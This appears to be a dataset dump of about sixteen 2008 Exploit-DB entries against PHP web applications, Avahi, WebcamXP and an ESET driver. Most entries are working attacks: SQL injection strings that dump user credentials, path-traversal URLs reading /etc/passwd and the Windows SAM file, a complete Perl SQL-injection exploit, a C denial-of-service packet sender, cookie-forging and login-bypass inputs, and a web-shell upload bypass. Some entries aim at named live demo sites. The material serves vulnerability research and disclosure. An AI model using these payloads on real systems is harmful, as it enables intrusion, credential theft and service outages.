QLWD/code_shield huggingface dataset:
标题: Constructr CMS 3.02.5 stable - Multiple Vulnerabilities EDB-ID: 7529 CVE: 2008-5860 2008-5859 2008-5847 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-19 漏洞利用脚本: Constructr CMS
http://constructr-cms.org/

- <= 3.02.5 "Stable" -

magic_quotes_gpc = Off
register_globals = On

- Directory Traversal - Source Disclosure - Arbitrary File Creation - Etc Etc Etc -
http://site/constructr/backend/template.php?edit_file=

Db info:
../config/config.inc.php


- SQL -
http://site/constructr/?show_page=

User (urlencode) :
-0' UNION ALL SELECT NULL, CONCAT(CHAR(0),IFNULL(CAST(username AS CHAR(10000)), CHAR(32)),CHAR(0),IFNULL(CAST(hash AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL, NULL, NULL, NULL FROM constructr_user# AND 'tBkML'='tBkML
"Hash" is the password, not really encrypted...


- Timeline -
Author notified: Dec 12
Public Disclosure: Dec 19


- Seasons Greetings -
- http://nukeit.org -

# milw0rm.com [2008-12-19] URL: https://www.exploit-db.com/exploits/7529
标题: Online Keyword Research Tool - 'download.php' File Disclosure EDB-ID: 7524 CVE: 2008-6335 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-19 漏洞利用脚本: Online Keyword Research (download.php filename) Local File Include

# author : Cold z3ro, http://www.hackteach.org/
# script : http://secure.emetrix.com/order/product.asp?PID=68900247
# demo   : http://www.rightscripts.com/keywordresearch/


# Exploit

[~] http://www.site.com/[path]/download.php?filename=../../../../../../../../etc/passwd


# Example

[~] http://www.rightscripts.com/keywordresearch/download.php?filename=../../../../../../../../etc/passwd



============================
Greetz : www.hackteach.org members , AnGeL25dZ

# milw0rm.com [2008-12-19] URL: https://www.exploit-db.com/exploits/7524
标题: WebcamXP 5.3.2.375 - Remote File Disclosure EDB-ID: 7521 CVE: 2008-5862 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-19 漏洞利用脚本: Directory Traversal Attack

Example:
http://XX.XX.XX.XX/..%2F..%2F..%2F..%2F..%2Fwindows/repair/sam
http://XX.XX.XX.XX/..%2F..%2F..%2F..%2F..%2Fboot.ini



-nicx0

# milw0rm.com [2008-12-19] URL: https://www.exploit-db.com/exploits/7521
标题: ReVou Twitter Clone - Arbitrary File Upload EDB-ID: 7531 CVE: 2008-6751 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-21 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: ReVou Twitter Clone Arbitrary File Upload Vulnerability
Version: All version
Vendor : http://www.revou.com/
Demo: http://www.revou.com/demo/
Author : S.W.A.T. , svvateam@yahoo.com
Vulnerability : wWw.BaTLaGH.CoM
---------------------------------------------------------
#########################################################
[Mime Check Bypass]:
Create A File Called name.php And Fill It As Below:
----------
GIF89aP;
[php_shell_code]
----------
Save This File !
----------
Go To "My photo" (link: http://www.revou.com/demo/settings/my_photo)

Select Your Shell & Upload !
----------
Done ! :-)
---------------------------------

# milw0rm.com [2008-12-21] URL: https://www.exploit-db.com/exploits/7531
标题: Extract Website - 'Filename' File Disclosure EDB-ID: 7525 CVE: 2008-6334 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-19 漏洞利用脚本: Extract Website (download.php filename) Local File Include

# author : Cold z3ro, http://www.hackteach.org/
# script : http://secure.emetrix.com/order/product.asp?PID=74332316
# demo   : http://www.rightscripts.com/extractwebsite/
# about  : This tool help you extract web data include URL links,
       domain names, contact emails, keywords, meta tags, page titles
       or text from other website.
       You can extract these data from a list of website links or from simple text.


# Exploit

[~] http://www.site.com/[path]/download.php?filename=../../../../../../../../etc/passwd



# Example

[~] http://www.rightscripts.com/extractwebsite/download.php?filename=../../../../../../../../etc/passwd


==================================
Greetz : www.hackteach.org members , AnGeL25dZ

# milw0rm.com [2008-12-19] URL: https://www.exploit-db.com/exploits/7525
标题: FreeLyrics 1.0 - Remote File Disclosure EDB-ID: 7527 CVE: 2008-5861 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-19 漏洞利用脚本: ################## Piker #######################################
#
#
#    FreeLyrics Remote Source Code Disclosure Vulnerability
#

#
#    Affected software: FreeLyrics
#    Vendor: http://lyrics.sourceforge.net/
#    Risk: Medium
#
################################################################

#
#    http://[target]/[path]/source.php?p=[FILE]
#
#   PoC: http://[target]/[path]/source.php?p=config.php
#
#   
################################################################
#
#         Found by Piker [piker0x90(at)gmail(dot)com]

#            D.O.M Labs - Security Researchers
#           www.domlabs.org
#
#
################################################################

# milw0rm.com [2008-12-19] URL: https://www.exploit-db.com/exploits/7527
标题: MyPBS - 'seasonID' SQL Injection EDB-ID: 7522 CVE: 2008-5851 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-19 漏洞利用脚本: #!/usr/bin/perl
################################
##    Coded by Piker [piker(dot)ther00t(at)gmail(dot)com]
##      D.O.M Team
## piker,ka0x,an0de,xarnuz
## 2008 Security Researchers
################################
##
## MyPBS Remote SQL Injection Exploit
##
##   This exploit tries to read an
##   arbitrary file.
##
################################

# piker@domlabs:~/advisories$ perl mypbs.pl http://localhost/mypbs /etc/passwd
#[+] File HEX: 0x2f6574632f706173737764
#[+] Host: http://localhost/mypbs/
#[+] File content:
#daemon:x:1:1:daemon:/usr/sbin:/bin/sh
#bin:x:2:2:bin:/bin:/bin/sh
#sys:x:3:3:sys:/dev:/bin/sh
#sync:x:4:65534:sync:/bin:/bin/sync
#games:x:5:60:games:/usr/games:/bin/sh
# [...]
#[+] EOF
#
#


use LWP::UserAgent;

open(FILE, ">&STDOUT");

my $host = $ARGV[0];
my $file = $ARGV[1];

die &_USO unless $ARGV[1];

sub _USO
{
    die "
    MyPBS Remote SQL Injection Exploit

    This exploit tries to read an
    arbitrary file.
  
    usage: ./$0 <host> <file_you_want>
    ex: ./$0 http://localhost/mypbs/ /etc/passwd

    ";
}

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");

my $tmp="0x";
my $tmp2;

foreach my $c (split(//, $file)){
    $tmp2 = sprintf ("%x", ord($c));
    $tmp .= $tmp2;
}

print FILE "[+] File HEX: ".$tmp."\n";

if ($host !~ /\/$/){ $host .= "/"; }

print FILE "[+] Host: ".$host."\n";

my $req = HTTP::Request->new(GET => $host."index.php?seasonID=-1 union all select CONCAT(0x3c46494c453e,load_file(".$tmp."),0x3c46494c453e)");
my $res = $ua->request($req);
my $con = $res->content;

my $ok = 0;
open (OUT, ">result.txt");

if ($res->is_success){
    foreach my $linea (split(/\n/, $con)){
        if($ok == 1){
            if ($linea !~ /<FILE>/){
                print FILE $linea."\n";
        print OUT $linea."\n";
            }else{
                print FILE "\n[+] EOF\n";
        print "\n[+] File saved into 'result.txt'\n";
                goto salida;
            }
        }
        if($linea =~ /<FILE>/i && $ok == 0){
            $ok = 1;
            print FILE "[+] File content: \n";
        }
    }
    salida:
    if ($ok == 0){
        print FILE "[-] Exploit Failed!";
    }      
}
else{
    print FILE "[-] Exploit Failed!";
}

close(FILE);
close(OUT);

#EOF

# milw0rm.com [2008-12-19] URL: https://www.exploit-db.com/exploits/7522
标题: Gobbl CMS 1.0 - Insecure Cookie Handling EDB-ID: 7518 CVE: 2008-5880 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-18 漏洞利用脚本: ---------------------------
Gobbl Cms 1.0 I.Cookie Hand.
---------------------------
Autore: x0r ( Evolution Team)
Email: andry2000@hotmail.it
Demo Site:http://www.gobbl.net/
---------------------------
 
Bug In: \admin\auth.php  
 
?>
include ('../config.php');
 
$user = $_POST['user'];
$pass = $_POST['pass'];
 
if ( ($user == $un) and ($pass == $pw) )
{
setcookie( "auth", "ok", time()+40000 ); # Bugz
header ( "location:add.php" ); exit ();
}
else
{
header ( "location:index.php" ); exit ();
}
?>
 
Il file auth.php controlla se nel file ../config.php le post $user\$pass presentano gli stessi dati delle variabili
$un\$pw ( config.php ) se cosÃ¬ Ã¨ setta il cookie auth=ok :P ^ ^
 
Exploit:  
 
javascript:document.cookie = "auth=ok; path=/"; then \admin\menu.php # So Easy To Hack :P
 
Greetz: Amore Mio Sei La Mia Stella Che Mi Illumina Qua GiÃ¹...Ti AmO

# milw0rm.com [2008-12-18] URL: https://www.exploit-db.com/exploits/7518
标题: MyPHPsite - Local File Inclusion EDB-ID: 7519 CVE: 2008-6018 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-18 漏洞利用脚本: ################## Piker #######################################
#
#
#    MyPHPSite Local File Inclusion Vulnerability
#
#
#    Affected software: MyPHPSite
#    Vendor: www.myphpsite.org
#    Risk: Medium
#
################################################################
#
#    http://[target]/[path]/index.php?mod=[LFI]%00
#
#   PoC: http://[target]/[path]/index.php?mod=../../../../../../etc/passwd%00
#
################################################################
#
#         Found by Piker [piker0x90(at)gmail(dot)com]
#            D.O.M Labs - Security Researchers
#           www.domlabs.org
#
#
################################################################

# milw0rm.com [2008-12-18] URL: https://www.exploit-db.com/exploits/7519
标题: Avahi < 0.6.24 - mDNS Daemon Remote Denial of Service EDB-ID: 7520 CVE: 2008-5081 类型: DOS 平台: MULTIPLE 发布日期: 2008-12-19 漏洞利用脚本: /*
 * cve-2008-5081.c
 *
 * Avahi mDNS Daemon Remote DoS < 0.6.24
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Usage:
 *
 *   gcc cve-2008-5081.c -ldnet -o cve-2008-5081
 *   ./cve-2008-5081 1.2.3.4
 *  
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5081
 *    
 *   Crafted mDNS packet with source port 0 can cause avahi-daemon  
 *   to abort() due to failed assertion assert(port > 0); in  
 *   originates_from_local_legacy_unicast_socket() function in
 *   avahi-core/server.c.
 *
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dnet.h>
 
int
main(int argc, char **argv)
{
    ip_t *sock;
    intf_t *intf;
    struct addr dst;
    struct ip_hdr *ip;
    struct udp_hdr *udp;
    struct intf_entry entry;
    int len = IP_HDR_LEN + UDP_HDR_LEN;
    char buf[len];
 
    if (argc < 2 || addr_aton(argv[1], &dst)) {  
        printf("error: please specify a target ip address\n");
        return 1;
    }
 
    memset(buf, 0, sizeof(buf));
 
    ip = (struct ip_hdr *) buf;
    ip->ip_v = 4;
    ip->ip_hl = 5;
    ip->ip_tos = 0;
    ip->ip_off = 0;
    ip->ip_sum = 0;
    ip->ip_ttl = IP_TTL_MAX;
    ip->ip_p = IP_PROTO_UDP;
    ip->ip_id = htons(0xdead);
    ip->ip_len = htons(len);
 
    udp = (struct udp_hdr *) (buf + IP_HDR_LEN);
    
    udp->uh_sum = 0;
    udp->uh_sport = htons(0);
    udp->uh_dport = htons(5353);
    udp->uh_ulen = htons(UDP_HDR_LEN);
 
    intf = intf_open();
    intf_get_dst(intf, &entry, &dst);
    intf_close(intf);
 
    ip->ip_src = entry.intf_addr.addr_ip;
    ip->ip_dst = dst.addr_ip;
    ip_checksum(buf, len);
 
    sock = ip_open();
    if (!sock) {
        printf("error: root privileges needed for raw socket\n");
        return 1;
    }
    ip_send(sock, buf, len);
    ip_close(sock);
 
    return 0;
}

// milw0rm.com [2008-12-19] URL: https://www.exploit-db.com/exploits/7520
标题: ESET Smart Security 3.0.672 - 'epfw.sys' Local Privilege Escalation EDB-ID: 7516 CVE: 2008-5724 类型: LOCAL 平台: WINDOWS 发布日期: 2008-12-18 漏洞利用脚本: ////////////////////////////////////////////////////////////////////////////////////
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | ESET, LLC. - http://www.eset.com/                                          | //
// |                                                                            | //
// | Affected Software:                                                         | //
// | ESET Smart Security <= 3.0.672                                             | //
// |                                                                            | //
// | Affected Driver:                                                           | //
// | Eset Personal Firewall driver - epfw.sys <= 3.0.672.0                      | //
// |                                                                            | //
// | Local Privilege Escalation Exploit                                         | //
// | For Educational Purposes Only !                                            | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
// |                                                                            | //
// | NT Internals - http://www.ntinternals.org/                                 | //
// | alex ntinternals org                                                       | //
// | 18 December 2008                                                           | //
// |                                                                            | //
// | References:                                                                | //
// | Exploiting Common Flaws in Drivers                                         | //
// | Ruben Santamarta - http://reversemode.com/                                 | //
// |                                                                            | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////
 
Exploit:
http://www.ntinternals.org/ntiadv0807/Epfw_Exp.zip
backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7516.zip (2008-Epfw_Exp.zip)
 
Advisory:
http://www.ntinternals.org/ntiadv0807/ntiadv0807.html

# milw0rm.com [2008-12-18] URL: https://www.exploit-db.com/exploits/7516
标题: phpclanwebsite 1.23.3 fix pack #5 - Multiple Vulnerabilities EDB-ID: 7515 CVE: 2008-5879 2008-5878 2008-5877 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-18 漏洞利用脚本: Phpclanwebsite <= 1.23.3 Fix Pack #5 (File Including/SQL/XSS) Multiple Remote Vulnerabilities

The description:
The set vulnerability in CMS Phpclanwebsite versions 1.23.3 Fix Pack #5 and more low was revealed.

1. Multiple File Including Vulnerabilities

Vulnerability exists for the reason that direct access to some files, around logicians of work of the appendix is possible.
It gives the chance to redefine internal variables which are transferred as arguments in function include ().
Examples of vulnerable files:
/theme/superchrome/box.php?boxname=../../../../../etc/passwd%00
/phpclanwebsite/footer.php?theme=../../../../../etc/passwd%00
etc

The note:
For vulnerability operation the following options PHP are required: register_globals=On and magic_quotes_gpc=Off

2. Multiple SQL Injection Vulnerabilities

The appendix everywhere does not check the variables transferred from outside of the user. It allows to carry out any SQL Injection.
Examples of vulnerable files:
SQL Injection (insert) -
 /index.php?page='SQL
SQL Injection (delete) -
 /index.php?page=processforms&ok=1&SP=1&form_id=2
 , where "form_id" the identifier of the deleted user
SQL Injection (select) -
 /index.php?page=login
 POST:pcwlogin='SQL&pcw_pass='SQL

 /index.php?page=login
 POST:pcwlogin=1'+OR+1=1--&pcw_pass=1

SQL Injection (select) -
 /index.php?page=downloads&func=search
 POST:searchvalue='SQL&whichfield=SQL

 /index.php?page=downloads&func=search
 POST:searchvalue=1&whichfield=dl_name>1)+limit+0+union+select+tag,2,3,login,5,6,7,email,9,password,11,12,13,14,15+from+cws_members--
etc

The note:
For operation of all SQL Injection vulnerabilities, except vulnerability in parametre "whichfield", are required disconnected magic_quotes_gpc.

3. Multiple Cross-site Scripting Vulnerabilities

The appendix everywhere does not check the variables transferred from outside of the user. It allows to carry out any code in a context of a user browser.
Examples of vulnerable files:
/index.php?page='><script>alert('XSS')</script>
etc

# milw0rm.com [2008-12-18] URL: https://www.exploit-db.com/exploits/7515
标题: I-Rater Basic - SQL Injection EDB-ID: 7514 CVE: 2008-6017 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-18 漏洞利用脚本: #######################################################
I-Rater Basic(messages.php) SQL-injection.
#######################################################

###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.


#[!] Script Name: I-Rater Basic
#[!] Home Page:  http://www.i-rater.com
#[!] Google_Dork:  N/A
###################################################





#[~] Example:  
http://localhost/Path/messages.php?idp=[exploit]

#[~]Exploit:  
-9999+union+all+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8+from+admin--


#[!] Live Demo
http://www.i-rater.com/basic/messages.php?idp=-9999+union+all+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8+from+admin--


#[!] Note
To see the information go View Sources/Search "large.php?id=" ;).

##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-18] URL: https://www.exploit-db.com/exploits/7514
标题: Calendar Script 1.1 - Insecure Cookie Handling EDB-ID: 7513 CVE: 2008-5738 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-18 漏洞利用脚本: [START]

#########################################################################################
[0x01] Informations:

Script         : Calendar Script v1.1
Download       : http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1
Vulnerability  : Insecure Cookie Handling
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


#########################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/index.php

[CODE]

if(mysql_num_rows($checkDetails) > 0) {
    setcookie('nodstrumCalendarV2', '1', time()+3600); // Cookie will expire in 1 hour.
    // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>';
}

[/CODE]

If we login in correctly, a cookie is created with 'nodstrumCalendarV2' as name and
'1' as content.

## [!] FIX: Change name or content to the cookie. Example:

[CODE]

if(mysql_num_rows($checkDetails) > 0) {
    setcookie('nodstrumCalendarV2', '$password', time()+3600); // Cookie will expire in 1 hour.
    // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>';
}

[/CODE]


### [!] EXPLOIT: javascript:document.cookie = "nodstrumCalendarV2=1; path=/";


#########################################################################################

[/END]

# milw0rm.com [2008-12-18] URL: https://www.exploit-db.com/exploits/7513
标题: 2532/Gigs 1.2.2 Stable - Multiple Vulnerabilities EDB-ID: 7510 CVE: 2008-6902 2008-6901 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-18 漏洞利用脚本: [START]

#########################################################################################
[0x01] Informations:

Script         : 2532|Gigs v1.2 Stable
Download       : http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
Dork           : Powered by 2532|Gigs v1.2.2
Vulnerability  : Local File Inclusion / Remote File Upload
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX


#########################################################################################
[0x02] Bug: [Multiple Local File Inclusions]
######

Bugged file is: /[path]/settings.php
Bugged file is: /[path]/deleteuser.php
Bugged file is: /[path]/mini_calendar.php
Bugged file is: /[path]/manage_venues.php
Bugged file is: /[path]/manage_gigs.php

* There are a lot of other files vulnerable to LFI !

[CODE]

<?php
/*
2532|Gigs v1.1
www.2532gigs.com
./settings.php
*/

  // Load the settings.php language file
  include_once("languages/$language/settings.php");

[/CODE]

settings.php page starts in this way. Includes a non declarate variable -> $language

[!] FIX: Declare $language var.


[!] EXPLOIT: /[path]/settings.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/deleteuser.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/mini_calendar?language=[local_file_to_include]
[!] EXPLOIT: /[path]/manage_venues.php?language=[local_file_to_include]
[!] EXPLOIT: /[path]/manage_gigs.php?language=[local_file_to_include]
                                           ../../../../../../../../../../etc/passwd%00


#########################################################################################
[0x03] Bug: [Remote File Upload]
######

Bugged file is: /[path]/upload_flyer.php

[CODE]

if (isset($_POST['submitflyer']))
   {
   if (strlen($_FILES['banner']['name']) > 0)
{
$target = "flyers/".$_FILES['banner']['name'];
move_uploaded_file($_FILES['banner']['tmp_name'], $target);

// Other code, like it cheeks if /[path]/flyers dir is writable or not !

[/CODE]

As we can see, everyone can upload everything that he wants. There is not login required,
and there isn't a cheek for the extension of the file that is going to be uploaded.
So, an unregistered user can upload a file of any extension, like a .php file. Why not
a php shell ?

[!] FIX: Before the upload script, just cheek if the user is registered, and then allow him
         only to upload .gif/jpg or the extension you want, not .php or other extensions !


[!] EXPLOIT:
             1) Go to: /path/upload_flyer.php
             2) Select your local file to upload
             3) Press submit button
             4) Cheek your file at: /[path]/flyers/your_local_file.your_extension


#########################################################################################

[/END]

# milw0rm.com [2008-12-18] URL: https://www.exploit-db.com/exploits/7510
标题: 2532/Gigs 1.2.2 Stable - Remote Authentication Bypass EDB-ID: 7511 CVE: 2008-6907 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-18 漏洞利用脚本: /* ------------------------------------------------------------------------------------------------
 * 2532|Gigs 1.2.2 Stable Remote Login Bypass Vulnerability
 * ------------------------------------------------------------------------------------------------
 * by athos - staker[at]hotmail[dot]it
 * http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
 * ------------------------------------------------------------------------------------------------
 * File Vuln checkuser.php
 *
 * 16. $username = $_POST['username'];
 * 17. $password = $_POST['password'];
 * ... 
 * 41. $query = "SELECT * FROM $dbt_users WHERE username = '$username' AND password = '$password'" ;
 * 42. $result = mysql_query($query) or die ( "Error in query: $query. " . mysql_error() );
 * ------------------------------------------------------------------------------------------------
 * Exploit
 *
 * http://[host]/[path]/index.php?id=login
 * 
 * Username: [username]
 * Password: [' or 1=1--]
 * ------------------------------------------------------------------------------------------------
 * Fix (Examples)
 *  
 * $username = mysql_real_escape_string($_POST['username']); 
 * $password = mysql_real_escape_string($_POST['password']);
 * 
 * ------------------------------------------------------------------------------------------------
 */

# milw0rm.com [2008-12-18] URL: https://www.exploit-db.com/exploits/7511